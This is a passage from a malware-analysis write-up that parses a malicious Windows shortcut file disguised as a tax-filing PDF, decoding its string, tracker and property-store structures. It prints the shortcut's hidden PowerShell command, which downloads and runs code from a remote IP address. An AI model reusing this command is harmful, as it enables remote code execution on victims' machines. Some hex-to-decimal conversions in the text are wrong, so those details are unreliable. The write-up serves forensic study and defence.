• 0x65 --> 101 (decimal) --> e
• 0x6C --> 108 (decimal) --> l
• 0x6C --> 108 (decimal) --> l
• 0x2E --> 46 (decimal) --> .
• 0x65 --> 101 (decimal) --> e
• 0x78 --> 120 (decimal) --> x
• 0x65 --> 101 (decimal) --> e
• CommonPathSuffix --> A variable NULL–terminated string, defined by the system default code page, which is used to construct the full path to the link item or link target by being appended to the string in the LocalBasePath field. In our sample file, it has a 1-byte value of 00 after the LocalBasePath field. 

StringData

StringData refers to a set of structures that convey user interface and path identification information. The presence of these optional structures is determined by the flags set in the LinkFlags field. Possible StringData values include:

• NAME_STRING --> An optional structure that specifies a description of the shortcut that is displayed to end users to identify the purpose of the shell link. This structure MUST be present if the HasName flag is set.
• RELATIVE_PATH --> An optional structure that specifies the location of the link target relative to the file that contains the shell link. When specified, this string SHOULD be used when resolving the link. This structure MUST be present if the HasRelativePath flag is set.
• WORKING_DIR --> An optional structure that specifies the file system path of the working directory to be used when activating the link target. This structure MUST be present if the HasWorkingDir flag is set.
• COMMAND_LINE_ARGUMENTS -->  An optional structure that stores the command-line arguments that are specified when activating the link target. This structure MUST be present if the HasArguments flag is set.
• ICON_LOCATION --> An optional structure that specifies the location of the icon to be used when displaying a shell link item in an icon view. This structure MUST be present if the HasIconLocation flag is set.

Figure 8: The StringData structure

Each string is the StringData field, typically follows the below format:

Field	Size	Description
CountCharacters	2 bytes	A 16-bit, unsigned integer that specifies either the number of characters, defined by the system default code page, or the number of Unicode characters found in the String field. A value of zero specifies an empty string.
String	Variable	An optional set of characters, defined by the system default code page, or a Unicode string with a length specified by the CountCharacters field. This string MUST NOT be NULL-terminated. Each UTF-16LE-encoded characters has 2 bytes.

In our sample LNK file, the HasWorkingDir and HasArguments flags of the LinkFlags field are set, therefore, the possible StringData values that apply are WORKING_DIR, and COMMAND_LINE_ARGUMENTS , respectively.

Figure 9: Hex view of the StringData WORKING_DIR structure

StringData WORKING_DIR

• 0x0C00 --> 0x000C (big-endian) --> 12 (decimal) characters --> CountCharacters.
• The remaining values are the Unicode-encoded string characters that make up the Working Directory String. Each character is 2 bytes in size. This gives us the string E:\downloads as the Working Directory.

StringData COMMAND_LINE_ARGUMENTS

Figure 10:  StringData COMMAND_LINE_ARGUMENTS structure

• 0x6600 --> 0x0066 (big-endian) --> 102 (decimal) characters --> CountCharacters.
• The remaining values are the Unicode-encoded string characters that make up the Working Directory String. Each character is 2 bytes in size. This gives us the string below:

• 
          
  text
          
  
              
          
       
  -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://120.48.85.228:80/favicon'))"
  

ExtraData

ExtraData refers to a set of structures that convey additional information about a link target. It is a variable-length set of optional property data blocks located at the end of the LNK file, after the StringData sections, followed by a terminal block. Each ExtraData block provides additional metadata about the shortcut, and each block follows a consistent format described below:

Offset (hex)	Size (bytes)	Field	Description
0x00	4	BlockSize	A 32-bit, unsigned integer that specifies the size of the block including the header.
0x04	4	BlockSignature	A 32-bit, unsigned integer that serves as the identifier (signature) of the block type.
0x08	Variable	Data	Block-specific data.

The last block is a TerminalBlock which always has: BlockSize = 0x00000000, and BlockSignature = 0x00000000. Below are common types of ExtraData blocks, identified by their BlockSignature (little-endian in hex).

Signature	Block Name	BlockSize Value	Description
0xA0000001	EnvironmentVariableDataBlock	0x00000314	This structure specifies a path to environment variable information when the link target refers to a location that has a corresponding environment variable.
0xA0000002	ConsoleDataBlock	0x000000CC	This structure specifies the display settings to use when a link target specifies an application that is run in a console window.
0xA0000003	TrackerDataBlock	0x00000060	This structure specifies data that can be used to resolve a link target if it is not found in its original location when the link is resolved. This data is passed to the Link Tracking service to find the link target.
0xA0000004	ConsoleFEDataBlock	0x0000000C	This structure specifies the code page to use for displaying text when a link target specifies an application that is run in a console window.
0xA0000005	SpecialFolderDataBlock	0x00000010	This structure specifies the location of a special folder. This data can be used when a link target is a special folder to keep track of the folder, so that the link target IDList can be translated when the link is loaded.
0xA0000006	DarwinDataBlock	0x00000314	This structure specifies an application identifier that can be used instead of a link target IDList to install an application when a shell link is activated.
0xA0000007	IconEnvironmentDataBlock	0x00000314	This structure specifies the path to an icon. The path is encoded using environment variables, which makes it possible to find the icon across machines where the locations vary but are expressed using environment variables.
0xA0000008	ShimDataBlock	≥ 0x00000088	This structure specifies the name of a shim that can be applied when activating a link target.
0xA0000009	PropertyStoreDataBlock	≥ 0x0000000C	This structure specifies a set of properties that can be used by applications to store extra data in the shell link.
0xA000000B	KnownFolderDataBlock	0x0000001C	This structure specifies the location of a known folder. This data can be used when a link target is a known folder to keep track of the folder so that the link target IDList can be translated when the link is loaded.
0xA000000C	VistaAndAboveIDListDataBlock	0x0000000A	This structure specifies an alternate IDList that can be used instead of the LinkTargetIDList structure on platforms that support it

An extensive discussion of the individual properties for each property data block and the information that can be gleaned lies beyond the scope of this post. The reader is therefore encouraged to consult the Microsoft documentation for additional information. The ExtraData structure for our sample LNK file is given below.

Figure 11: Hex view of the ExtraData structure

• SpecialFolderDataBlock --> This is analyzed as follows:
• 0x10000000 = 0x00000010 (big-endian) = 16 bytes (in decimal) = BlockSize
• 0x050000A0 = 0xA0000050 (big-endian) = BlockSignature. From the table above, it identifies it as a SpecialFolderDataBlock.
• 0x25000000 = 0x00000025 = 37 (decimal) = SpecialFolderID
• 0X0D000000 = 0x0000000D = 221 = Offset.
• KnownFolderDataBlock --> This is analyzed as follows:
• 0x1C000000 = 0x0000001C (big-endian) = 28 bytes (in decimal) = BlockSize
• 0x0B0000A0 = 0xA000000B (big-endian) = BlockSignature. From the table above, it identifies it as a KnownFolderDataBlock.
• 0x774EC11AE7025D4EB7442EB1AE5198B7 = {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7} (big-endian) = --> A value in GUID packet representation that specifies the folder GUID ID (KnownFolder GUID). This corresponds to System32.
• 0X0D000000 = 0x0000000D = 221 = Offset
• TrackerDataBlock --> This is analyzed as follows:
• 0x60000000 = 0x00000060 (big-endian) = 96 bytes (decimal) = BlockSize
• 0x030000A0 = 0xA0000003 (big-endian) = BlockSignature. From the table above, this identifies it as a TrackerDataBlock.
• 0x58000000 = 0x00000058 (big-endian) = 88 (decimal) = Length --> A 32-bit, unsigned integer that specifies the size of the rest of the TrackerDataBlock structure, including this Length field. This value MUST be 0x00000058.
• 0x00000000 = 0x00000000 (big-endian) = 0 (decimal) = Version --> A 32-bit, unsigned integer. This value MUST be 0x00000000.
• 0x64 65 73 6B 74 6F 70 2D 33 6C 34 30 30 63 72 00 --> Machine ID --> A NULL–terminated character string, as defined by the system default code page, which specifies the NetBIOS name of the machine where the link target was last known to reside. When converted to their corresponding ASCII characters gives us the name desktop-3l400cr as the Machine ID.
• 0xB0A0CD182995494BB3BBAA54930676E8 = {18CDA0B0-9529-4B49-B3BB-AA54930676E8} (big-endian) = GUID FileDroid --> This identify the file itself on the originating volume
• 0xBCF7C9A619F8EC11B143005056C00008 = {A6C9F7BC-F819-11EC-B143-005056C00008} (big-endian) = GUIDVolumeDroid --> This is a persistent identifier for the volume (disk) where the target file originally resided. You can extract the system's MAC address where the LNK file was originally created from the GUIDVolumeDroid. It is typically the last 6 bytes of this information, as highlighted (in red) above. Thus, the MAC Address is 00:50:56:c0:00:08. A MAC Address OUI look up reveals the MAC vendor to be VMware.
• The GUIDFileDroid and GUIDVolumeDroid are part of the Distributed Link Tracker (DLT) structure, which helps Windows keep track of files that may have moved locations across volumes or systems in a networked environment. By the way, DROID stands for Digital Record Object Identification and uniquely identifies a file.
• 0xB0A0CD182995494BB3BBAA54930676E8 = {18CDA0B0-9529-4B49-B3BB-AA54930676E8} (big-endian) = GUID FileDroidBirth.
• 0xBCF7C9A619F8EC11B143005056C00008 = {A6C9F7BC-F819-11EC-B143-005056C00008} (big-endian) = GUIDVolumeDroidBirth.
• PropertyStoreDataBlock --> This structure is analyzed as follows:
• 0xE0010000 =  0x000001E0 = 480 (decimal) bytes = BlockSize.
• 0x090000A0 = 0xA0000009 = BlockSignature. This identifies it as a PropertyStoreDataBlock.
• The remaining values constitute the variable PropertyStore, which is, a serialized property storage structure as seen in the figure below.
• 
  
  
  
  
• PropertyStoreList[0] --> This structure is analyzed as follows:
• 0xE9000000 --> 0x000000E9 --> 233 (decimal) bytes --> Size of this structure.
• 0x31535053 --> 0x53505331 --> 1397773105 (decimal) --> Version
• 0x30F125B7EF471A10A5F102608C9EEBAC --> {B725F130-47EF-101A-A5F1-02608C9EEBAC} --> GUID FormatID.
• PropertyIntegerValue[0] --> This sub-structure, seen in the Figure below, is analyzed as follows:
• 0x45000000 --> 0x00000045 (big-endian) --> 69 (decimal) bytes --> Size of the structure.
• 0x0A000000 --> 0x0000000A (big-endian) --> 10 (decimal) --> ID
• 0x00 --> 0x00 (big-endian) --> Reserved.
  
  
  
• The remaining values (highlighted in green) constitute the TypedPropertyValue structure, which is analyzed as seen in the Figure below. 
  
  
  
• 0x1F00 -> 0x001F (big-endian) --> 31 (decimal) --> Type: This value corresponds to VT_LPWSTR. Other types that can be encountered during analysis include the following: VT_EMPTY (0), VT_NULL (1), VT_I2 (2), VT_I4 (3), VT_R4 (4), VT_R8 (5), VT_CY (6), VT_DATE (7), VT_BSTR (8), VT_ERROR (10), VT_BOOL (11), VT_VARIANT (12), VT_DECIMAL (14), VT_I1 (16), VT_UI1 (17), VT_UI2 (18), VT_UI4 (19), VT_I8 (20), VT_UI8 (21), VT_INT (22), VT_UINT (23), VP_LPSTR (30), VT_FILETIME (64), VT_BLOB (65), VT_STREAM (66).
• 0x0000 --> 0x0000 (big-endian) --> 0 (decimal) --> Padding.
• 0x19000000 --> 0x00000019 (big-endian) --> 25 --> Length of the Value.
• The remaining information makes up the Unicode-encoded string Value of this structure. This corresponds to the string 附件1：如何在个税APP上完成汇算清缴？.pdf. This is the ItemName of the target file.
• PropertyIntegerValue[1] --> This structure is analyzed as seen in the image below: 
  
  
  
• 0x15000000 --> 0x00000015 (big-endian) --> 21 (decimal) bytes --> Size of the structure.
• 0x0F000000 --> 0x0000000F (big-endian) --> 15 (decimal) --> ID.
• 0x00 --> 0x00 (big-endian) --> 00 (decimal) --> Reserved.
• The remaining values constitute the TypedPropertyValue, which is broken down as follows:
• 0x4000 --> 0x0040 (big-endian) --> 64 (decimal) --> Type. This value corresponds to VT_FILETIME.
• 0x0000 --> 0x0000 (big-endian) --> Padding
• The remaining values 0x004F3B8E308CD801 constitute the actual value of this structure. When this FILETIME timestamp is rewritten in big-endian and converted to human-readable format, it gives us the value 2022-06-30 03:21:58. This is the Created Timestamp of the file.
• PropertyIntegerValue[2] --> This structure is analyzed as seen in the image below: 
  
  
  
• 0x15000000 --> 0x00000015 (big-endian) --> 21 (decimal) bytes --> Size of the structure.
• 0x0C000000 --> 0x0000000C (big-endian) --> 12 (decimal) --> ID.
• 0x00 --> 0x00 (big-endian) --> Reserved.
• The remaining values constitute the TypedPropertyValue, which is broken down as follows:
• 0x1500 --> 0x0015 (big-endian) --> 21 (decimal) --> Type. This corresponds to VT_UI8.
• 0x0000 --> 0x0000 (big-endian) --> 00 (decimal) --> Padding.
• The remaining values 0x268C030000000000 constitute the actual value of this structure. When this value is rewritten in big-endian and converted to its equivalent decimal value, we obtain 232486, which is the Size of the target file.
• PropertyIntegerValue[3] --> This structure is analyzed as seen in the image below.  
  
  
  
• 0x49000000 --> 0x00000049 (big-endian) --> 73 (decimal) bytes --> Size of the structure.
• 0x00400000 --> 0x00000004 (big-endian) --> 4 (decimal) --> ID.
• 0x00 --> 0x00 (big-endian) --> Reserved.
• The remaining values constitute the TypedPropertyValue, which is broken down as follows:
• 0x1F00 --> 0x001F (big-endian) --> 31 (decimal) --> Type. This corresponds to VT_LPWSTR.
• 0x0000 --> 0x0000 (big-endian) --> 00 (decimal) --> Padding.
• 0x1C000000 --> 0x0000001C --> 28 (decimal) --> Length of the Value string.
• The remaining information makes up the Unicode-encoded string Value of this structure. This corresponds to the string Microsoft Edge PDF Document. This is the ItemTypeText of the target file.
• PropertyIntegerValue[4] --> This structure is analyzed as seen in the image below. 
  
  
  
  
  
• 0x15000000 --> 0x00000015 (big-endian) --> 21 (decimal) bytes --> Size of the structure.
• 0x00E000000 --> 0x0000000E (big-endian) --> 14 (decimal) --> ID.
• 0x00 --> 0x00 (big-endian) --> Reserved.
• The remaining values constitute the TypedPropertyValue, which is broken down as follows:
• 0x4000 --> 0x0040 (big-endian) --> 64 (decimal) --> Type. This corresponds to VT_FILETIME.
• 0x0000 --> 0x0000 (big-endian) --> 00 (decimal) --> Padding.
• The remaining values 0xE016B78F308CD801 constitute the actual value of this structure. When this FILETIME timestamp is rewritten in big-endian and converted to human-readable format, it gives us the value 06/30/2022 03:22:00. This is the Modified Timestamp of the file.
• 0x00000000 --> TerminalBlock.
• PropertyStoreList[1] --> This structure is analyzed as follows: 
  
  
  
• 0x79000000 --> 0x00000079 --> 121 (decimal) bytes --> Size of this structure.
• 0x31535053 --> 0x53505331 --> 1397773105 (decimal) --> Version
• 0xA66A63283D95D211B5D600C04FD918D0 --> {28636AA6-953D-11D2-B5D6-00C04FD918D0} --> GUID FormatID.
• PropertyIntegerValue --> This sub-structure, seen in the Figure below, is analyzed as follows: 
  
  
  
• 0x5D000000 --> 0x0000005D (big-endian) --> 93 (decimal) bytes --> Size of this structure.
• 0x1E000000 --> 0x0000001E (big-endian) --> 30 --> ID.
• 0x00 --> 0x00 (big-endian) --> Reserved.
• The remaining values constitute the TypedPropertyValue, which is broken down as follows:
• 0x1F00 --> 0x001F (big-endian) --> 31 (decimal) --> Type. This corresponds to VT_LPWSTR.
• 0x0000 --> 0x0000 (big-endian) --> 00 (decimal) --> Padding.
• 0x26000000 --> 0x00000026 --> 38 (decimal) --> Length of the Value string.
• The remaining information makes up the Unicode-encoded string Value of this structure. This corresponds to the string E:\downloads\附件1：如何在个税APP上完成汇算清缴？.pdf. This is the Parsing Path/Directory of the target file.
• 0x00000000 --> TerminalBlock.
•